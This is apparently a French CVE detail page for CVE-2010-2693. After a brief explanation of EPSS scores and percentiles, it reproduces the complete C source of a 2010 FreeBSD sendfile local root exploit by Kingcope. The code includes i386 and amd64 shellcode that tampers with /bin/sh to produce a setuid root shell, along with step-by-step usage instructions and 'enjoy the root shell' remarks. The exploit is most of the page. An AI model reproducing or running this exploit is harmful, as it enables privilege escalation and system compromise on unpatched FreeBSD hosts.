CVE-2010-2693 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

/* freebsd x86/x64 sendfile cache local root xpl v2 by Kingcope 2010 -- should h4x any freebsd 8.* and 7.* prior to 12Jul2010 tampers /bin/sh to contain a shellcode which does ' chmod a+s /tmp/sh chown root /tmp/sh execve /tmp/sh2 ' how to use: terminal 1: $ cp /bin/sh /tmp/sh $ cp /bin/sh /tmp/sh2 $ gcc cache.c -o cache terminal 2: $ nc -l 7030 terminal 1: for i386 arch type: $ ./cache i386 for amd64 arch type: $ ./cache amd64 now wait /bin/sh should be execed by the system as root in ~5 mins then do: $ /tmp/sh # cleanup: # cp -f /tmp/sh2 /bin/sh # enjoy the root shell! */ // this juarez is now private on #darknet -- // http://www.youtube.com/watch?v=JtgInqNNpCI // http://www.youtube.com/watch?v=IdbRWrY4QBI #include <sys/types.h> #include <sys/socket.h> #include <sys/uio.h> #include <fcntl.h> #include <netinet/in.h> #include <sys/select.h> #include <sys/stat.h> #include <strings.h> #include <stdio.h> #include <string.h> #include <err.h> main (int argc, char *argv[]) { int s, f, k2; struct sockaddr_in addr; int flags; char str32[]= "\x31\xc0\x6a\x00\x68\x70\x2f\x73\x68\x68\x2f\x2f\x74\x6d\x89\xe3" "\x50\x50\x53\xb0\x10\x50\xcd\x80\x68\xed\x0d\x00\x00\x53\xb0\x0f" "\x50\xcd\x80\x31\xc0\x6a\x00\x68\x2f\x73\x68\x32\x68\x2f\x74\x6d" "\x70\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80"; char str64[]= "\x48\x31\xc0\x99\xb0\x10\x48\xbf\xff\x2f\x74\x6d\x70\x2f\x73\x68" "\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05" "\xb0\x0f\x48\x31\xf6\x66\xbe\xed\x0d\x0f\x05\x48\x31\xc0\x99\xb0" "\x3b\x48\xbf\x2f\x74\x6d\x70\x2f\x73\x68\x32\x6a\x00\x57\x48\x89" "\xe7\x57\x52\x48\x89\xe6\x0f\x05"; char buf[10000]; char *p; struct stat sb; int n; fd_set wset; int64_t size; off_t sbytes; off_t sent = 0; int chunk; int arch = 3; if (argc != 2) { printf("define architecture i386 or amd64\n"); return; } if (strcmp(argv[1], "i386") == 0) arch=1; if (strcmp(argv[1], "amd64") == 0) arch=2; if (arch == 3) { printf("define architecture i386 or amd64\n"); return; } s = socket(AF_INET, SOCK_STREAM, 0); bzero(&addr, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(7030); addr.sin_addr.s_addr = inet_addr("127.0.0.1"); n = connect(s, (struct sockaddr *)&addr, sizeof (addr)); if (n < 0) warn ("fail to connect"); f = open("/bin/sh", O_RDONLY); if (f<0) warn("fail to open file"); n = fstat(f, &sb); if (n<0) warn("fstat failed"); size = sb.st_size; chunk = 0; flags = fcntl(f, F_GETFL); flags |= O_NONBLOCK; fcntl(f, F_SETFL, flags); while (size > 0) { FD_ZERO(&wset); FD_SET(s, &wset); n = select(f+1, NULL, &wset, NULL, NULL); if (n < 0) continue; if (chunk > 0) { sbytes = 0; if (arch == 1) n = sendfile(f, s, 2048*2, chunk, NULL, &sbytes,0); if (arch == 2) n = sendfile(f, s, 1204*6, chunk, NULL, &sbytes,0); if (n < 0) continue; chunk -= sbytes; size -= sbytes; sent += sbytes; continue; } chunk = 2048; memset(buf, '\0', sizeof buf); if (arch == 1) { for (k2=0;k2<256;k2++) { buf[k2] = 0x90; } p = buf; p = p + k2; memcpy(p, str32, sizeof str32); n = k2 + sizeof str32; p = buf; } if (arch == 2) { for (k2=0;k2<100;k2++) { buf[k2] = 0x90; } p = buf; p = p + k2; memcpy(p, str64, sizeof str64); n = k2 + sizeof str64; p = buf; } write(s, p, n); } }